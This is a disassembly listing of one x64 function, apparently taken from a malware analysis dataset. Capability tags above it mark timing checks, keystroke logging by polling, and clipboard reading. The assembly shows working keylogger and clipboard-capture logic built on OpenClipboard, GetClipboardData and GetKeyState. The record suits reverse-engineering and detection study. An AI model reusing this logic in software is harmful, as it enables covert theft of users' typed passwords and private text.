Function at 0x180012280
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180024020
sub rsp, rax
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov ecx, 0x28
call fcn.180012914
xor r13d, r13d
lea rcx, [rsp + 0x42]
mov rbp, rax
xor eax, eax
xor edx, edx
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rax
mov r8d, 0x7fe
mov word [rsp + 0x40], r13w
call fcn.180017e30
lea r15, str._esc_
lea rdi, [0x1800461d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x180046fb8]
cmp eax, 0x5dc
jbe 0x1800123f6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
xchg dword [0x180046fb8], eax
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, recv
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x1800123f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rcx, rbx
lea esi, [rax + rax + 2]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x1800123e0
cmp esi, 0x800
jge 0x1800123e0
lea r8, [rsp + 0x840]
mov rcx, rax
sub r8, rax
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x180012398
add rcx, 2
test eax, eax
jne 0x180012384
test edx, edx
je 0x1800123e0
lea rcx, [rsp + 0x840]
movsxd r8, esi
mov rdx, rdi
call fcn.180014f80
lea rdx, [0x180034b70]
lea rcx, [rsp + 0x40]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x40]
call fcn.180012080
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.180017e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rdi, [0x1800461d0]
call qword [sym.imp.USER32.dll_CloseClipboard]
call fcn.180012140
test eax, eax
je 0x18001240b
lea rcx, [0x180034b90]
call fcn.180012080
mov rcx, qword [0x1800461c0]
test rcx, rcx
je 0x18001243b
mov dword [0x1800461c8], 0x3c
mov rax, qword [rcx]
lea r9, [0x1800461c8]
mov r8, rdi
mov edx, 0x18
mov dword [rsp + 0x20], r13d
call qword [rax + 0x50]
cmp dword [0x1800461c8], 0
mov dword [rsp + 0x30], r13d
jle 0x1800125ea
nop dword [rax]
xor r14d, r14d
lea r12, [0x18003f898]
mov ebx, r14d
nop dword [rax]
mov eax, dword [r13 + rdi]
dec eax
cmp eax, dword [r12]
jne 0x1800125ac
test byte [r13 + rdi + 4], 0x80
je 0x18001257e
cmp ebx, 0x39
jne 0x1800124af
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x1800124a2
cmp ax, 1
je 0x1800124a2
mov eax, r14d
mov dword [0x18004677c], eax
jmp 0x1800124c7
mov eax, 1
mov dword [0x18004677c], eax
jmp 0x1800124c7
cmp ebx, 0x29
je 0x180012555
cmp ebx, 0x35
je 0x180012555
mov eax, dword [0x18004677c]
cmp dword [0x180046778], r14d
je 0x180012514
movsxd rsi, ebx
imul rsi, rsi, 0x7c
lea rdi, [rsi + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800124ee
mov r9, rdi
jmp 0x180012540
cmp dword [0x18004677c], r14d
je 0x18001250e
lea rdi, [rsi + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x18001250e
mov r9, rdi
jmp 0x180012540
lea r9, [rsi + r15]
jmp 0x180012540
test eax, eax
je 0x180012536
movsxd rax, ebx
imul rax, rax, 0x7c
lea rdi, [rax + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x180012536
mov r9, rdi
jmp 0x180012540
movsxd r9, ebx
imul r9, r9, 0x7c
add r9, r15
lea rdx, [0x180034bb0]
mov r8, rbp
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1800125ac
movsxd r9, ebx
lea rdx, [0x180034ba0]
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x180046778], 1
jmp 0x1800125ac
cmp ebx, 0x29
je 0x180012588
cmp ebx, 0x35
jne 0x1800125ac
movsxd r9, ebx
lea rdx, str._s_s
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x180046778], r14d
inc ebx
add r12, 0x7c
lea rdi, [0x1800461d0]
cmp ebx, 0x66
jl 0x180012460
mov r14d, dword [rsp + 0x30]
add r13, 0x18
lea rdi, [0x1800461d0]
inc r14d
cmp r14d, dword [0x1800461c8]
mov dword [rsp + 0x30], r14d
jl 0x180012450
xor r13d, r13d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdi, [0x1800461d0]
test eax, eax
je 0x180012303
mov rcx, rbp
call fcn.180012080
xor r11d, r11d
mov qword [rbp], r11
mov qword [rbp + 8], r11
mov qword [rbp + 0x10], r11
mov qword [rbp + 0x18], r11
mov qword [rbp + 0x20], r11
jmp 0x1800122fc